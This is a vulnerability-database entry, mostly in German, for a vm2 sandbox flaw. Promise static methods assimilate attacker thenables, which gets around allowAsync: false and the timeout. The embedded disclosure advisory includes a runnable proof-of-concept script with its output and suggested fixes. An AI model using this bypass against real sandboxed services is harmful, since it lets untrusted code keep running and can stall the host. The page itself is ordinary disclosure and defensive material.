CVE-2026-92959

highPriorität · verfolgen · 28EPSS 0.004 · 38. PerzentilDERUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.45% (38th) EPSS
CVSS 7.1 · high
Is it mine?
4 products
Prüfe deine Angriffsfläche
Who says so?
3 sources
fstec_bdu · cert_bund · osv

EPSS · bewertet 2026-10-24

vm2 before 3.11.8 does not fully enforce the allowAsync: false option in VM and NodeVM. While localPromise.prototype.then is replaced with a handler that throws 'Async not available', the sandbox's Promise static methods (Promise.resolve, Promise.all, Promise.race, Promise.any, and Promise.allSettled) still assimilate attacker-supplied thenables: native promise resolution performs PromiseResolveThenableJob and invokes the sandboxed code's then method in a microtask without passing through the patched then, so the async restriction is never applied. As a result, sandboxed script can schedule work that runs after VM.run() or NodeVM.run() has returned and outside the configured timeout, continuing to execute after the host believes execution is complete.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

7.1
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 5–7.1

v3.17.1highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:Hprimary · disclosure@vulncheck.comAusnutzbarkeit 2.8 · Auswirkung 4.2
v3.17.1highAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:Hsecondary · FSTEC (BDU) RU
v3.17.1highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:Hsecondary · OSV
v4.07.1highCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · disclosure@vulncheck.com
v4.05mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (4)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • WID-SEC-W-2026-3071vm2: Mehrere SchwachstellenDeutsch2026-08-27csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um beliebigen Programmcode mit den Rechten des Dienstes auszuführen, Sicherheitsmaßnahmen zu umgehen, Daten offenzulegen oder zu manipulieren oder einen Denial-of-Service-Zustand auszulösen.

  • GHSA-f8gf-w286-fmq2vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM2026-10-05ghsa · osvUS

    ### Summary When `allowAsync` is set to `false`, vm2 is expected to reject attempts to run asynchronous code. Direct use of `Promise.prototype.then` is blocked, but Promise static methods still assimilate attacker-controlled thenables. `Promise.resolve(thenable)`, `Promise.all([thenable])`, `Promise.race([thenable])`, `Promise.any([thenable])`, and `Promise.allSettled([thenable])` can invoke the thenable's `then` method in a microtask after `VM.run()` or `NodeVM.run()` has already returned. This bypasses the documented async-execution restriction and runs outside the configured `timeout`, allowing sandboxed code to continue executing after the host believes execution is complete. ### Details The documented VM option says `allowAsync: false` should cause attempts to run async code to throw a `VMError`; README.md:139-145 also recommends using it with `timeout`. The implementation enforces part of this policy by replacing `localPromise.prototype.then` with an `AsyncErrorHandler` when async is disabled: - `lib/setup-sandbox.js:1629-1637` defines `AsyncErrorHandler`, whose `apply` and `construct` traps throw `VMError: Async not available`. - `lib/setup-sandbox.js:1743-1752` installs that handler on `localPromise.prototype.then` when `allowAsync` is false. However, Promise static methods are still exposed and rebound to `localPromise`: - `lib/setup-sandbox.js:1816-1819` wraps `Promise.all`. - `lib/setup-sandbox.js:1821-1824` wraps `Promise.race`. - `lib/setup-sandbox.js:1826-1830` wraps `Promise.allSettled`. - `lib/setup-sandbox.js:1833-1837` wraps `Promise.any`. - `lib/setup-sandbox.js:1840-1843` wraps `Promise.resolve`. Those wrappers prevent species attacks by forcing `localPromise` as the constructor, but they do not reject or neutralize thenables when `allowAsync` is false. Native Promise resolution then performs `PromiseResolveThenableJob` and calls the attacker-controlled `then` method asynchronously. That job does not go through the patched `localPromise.prototype.then` method, so the `AsyncErrorHandler` is never reached. `NodeVM` inherits the same sandbox Promise setup through `VM` (`lib/nodevm.js:328-332`), so the same thenable-assimilation bypass is reachable in `NodeVM` as well. The transformer fast path is not the root cause, but it explains why the minimal PoC is parser-independent: payloads below contain none of `catch`, `import`, `async`, `with`, the internal state identifier, or `\u`, so `lib/transformer.js:82-89` returns without AST parsing. ### PoC Maintainer-runnable clean-checkout recipe: ```sh npm install node - <<'NODE' const {VM, NodeVM} = require('./'); async function runVmCase(name, code) { const events = []; const vm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => events.push(value)}}); try { const ret = vm.run(code); console.log(`${name}: returned ${ret}`); } catch (e) { console.log(`${name}: threw ${e.name}:${e.message}`); } await new Promise(resolve => setImmediate(resolve)); console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`); } async function runNodeVmCase(name, code) { const events = []; const vm = new NodeVM({allowAsync: false, sandbox: {mark: value => events.push(value)}}); try { const ret = vm.run(code); console.log(`${name}: returned ${ret}`); } catch (e) { console.log(`${name}: threw ${e.name}:${e.message}`); } await new Promise(resolve => setImmediate(resolve)); console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`); } (async () => { await runVmCase('VM Promise.resolve thenable', `Promise.resolve({then(r){mark('resolve-thenable')}}); 1`); await runVmCase('VM Promise.all thenable', `Promise.all([{then(r){mark('all-thenable')}}]); 1`); await runVmCase('VM Promise.race thenable', `Promise.race([{then(r){mark('race-thenable')}}]); 1`); await runVmCase('VM Promise.any thenable', `Promise.any([{then(r){mark('any-thenable')}}]); 1`); await runVmCase('VM Promise.allSettled thenable', `Promise.allSettled([{then(r){mark('allSettled-thenable')}}]); 1`); await runVmCase('VM direct then negative control', `Promise.resolve(1).then(function(){mark('direct')}); 1`); await runNodeVmCase('NodeVM Promise.resolve thenable', `Promise.resolve({then(r){mark('nodevm-resolve-thenable')}}); module.exports = 1;`); await runNodeVmCase('NodeVM direct then negative control', `Promise.resolve(1).then(function(){mark('nodevm-direct')}); module.exports = 1;`); const timeoutEvents = []; const timeoutVm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => timeoutEvents.push(value)}}); const started = Date.now(); const ret = timeoutVm.run(`Promise.resolve({then(){var t=Date.now();while(Date.now()-t<35){};mark(Date.now())}}); 1`); const afterRun = Date.now(); await new Promise(resolve => setImmediate(resolve)); console.log(`timeout case returned: ${ret}`); console.log(`timeout case runReturnedInMs: ${afterRun - started}`); console.log(`timeout case events: ${timeoutEvents.length}`); console.log(`timeout case elapsedMs: ${Date.now() - started}`); })(); NODE ``` Expected vulnerable output pattern: ```text VM Promise.resolve thenable: returned 1 VM Promise.resolve thenable events: resolve-thenable VM Promise.all thenable: returned 1 VM Promise.all thenable events: all-thenable VM Promise.race thenable: returned 1 VM Promise.race thenable events: race-thenable VM Promise.any thenable: returned 1 VM Promise.any thenable events: any-thenable VM Promise.allSettled thenable: returned 1 VM Promise.allSettled thenable events: allSettled-thenable VM direct then negative control: threw VMError:Async not available VM direct then negative control events: <none> NodeVM Promise.resolve thenable: returned 1 NodeVM Promise.resolve thenable events: nodevm-resolve-thenable NodeVM direct then negative control: threw VMError:Async not available NodeVM direct then negative control events: <none> timeout case returned: 1 timeout case runReturnedInMs: 0 timeout case events: 1 timeout case elapsedMs: 35 ``` Observed local output from this environment, using temporary local `acorn`/`acorn-walk` stubs only because dependencies were not installed and the payloads take the transformer fast path without invoking the parser: ```json { "results": [ ["Promise.resolve thenable", "run-returned", 1], ["Promise.resolve thenable events", "resolve-thenable"], ["Promise.all thenable", "run-returned", 1], ["Promise.all thenable events", "all-thenable"], ["Promise.race thenable", "run-returned", 1], ["Promise.race thenable events", "race-thenable"], ["Promise.any thenable", "run-returned", 1], ["Promise.any thenable events", "any-thenable"], ["Promise.allSettled thenable", "run-returned", 1], ["Promise.allSettled thenable events", "allSettled-thenable"], ["direct then control", "threw", "VMError:Async not available"], ["direct then control events", "<none>"] ], "timeoutCase": { "ret": 1, "runReturnedInMs": 0, "events": [1779866562491], "elapsedMs": 35 } } ``` Observed `NodeVM` variant output: ```text NodeVM Promise.resolve thenable: returned 1 NodeVM Promise.resolve thenable events: nodevm-resolve-thenable NodeVM direct then control: threw VMError:Async not available NodeVM direct then control events: <none> ``` ### Impact Applications commonly combine `timeout` with `allowAsync: false` so untrusted scripts run synchronously and cannot continue after `run()` returns. This issue breaks that security boundary. A sandboxed script can schedule a Promise thenable job, have `VM.run()` return successfully, and execute attacker-controlled code afterward. Because the code runs after `VM.run()` has returned, the configured timeout no longer interrupts it. A malicious thenable can use this to block the host Node.js event loop after the host believes the sandbox run is finished. The proof above uses a bounded 35 ms loop for safety, but the same primitive can be made unbounded. The finding is therefore a sandbox policy and availability bypass. This report does not claim raw host-object exposure, process access, filesystem access, or host RCE. Negative/control evidence: direct `.then()` is rejected with `VMError: Async not available` and no callback fires, confirming that the intended protection exists but is incomplete for static Promise thenable assimilation. ### Suggested remediation When `allowAsync` is false, reject or neutralize all Promise static-method paths that can schedule jobs, not only `Promise.prototype.then`. At minimum, `Promise.resolve`, `Promise.all`, `Promise.race`, `Promise.any`, and `Promise.allSettled` should not invoke attacker-controlled thenables under `allowAsync: false`. Possible fixes include replacing these static methods with `AsyncErrorHandler`-style throwers when async is disabled, or wrapping their inputs so thenable assimilation cannot schedule attacker code. Add regression tests for `VM` and `NodeVM` that verify: - `Promise.resolve({ then(){} })` throws or does not call the thenable when `allowAsync: false`. - `Promise.all`, `Promise.race`, `Promise.any`, and `Promise.allSettled` do the same for thenable elements. - Direct `.then()` remains blocked. - A timeout-configured VM cannot execute code after `run()` returns via Promise thenable assimilation. ## Variant analysis summary Confirmed variants: - `VM({allowAsync:false}).run('Promise.resolve(thenable)')` - `VM({allowAsync:false}).run('Promise.all([thenable])')` - `VM({allowAsync:false}).run('Promise.race([thenable])')` - `VM({allowAsync:false}).run('Promise.any([thenable])')` - `VM({allowAsync:false}).run('Promise.allSettled([thenable])')` - `NodeVM({allowAsync:false}).run('Promise.resolve(thenable)')` Negative cases checked: - Direct `Promise.resolve(1).then(...)` throws `VMError: Async not available` in both `VM` and `NodeVM`. - NodeVM dangerous builtin exposure was reviewed separately and not implicated in this issue. ### Credits - Thai Son Dinh from VinSOC Labs (R&D) - Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

06

auch bekannt als (1)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-09-17geändert 2026-09-22
08

Referenzen (2) nvd

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan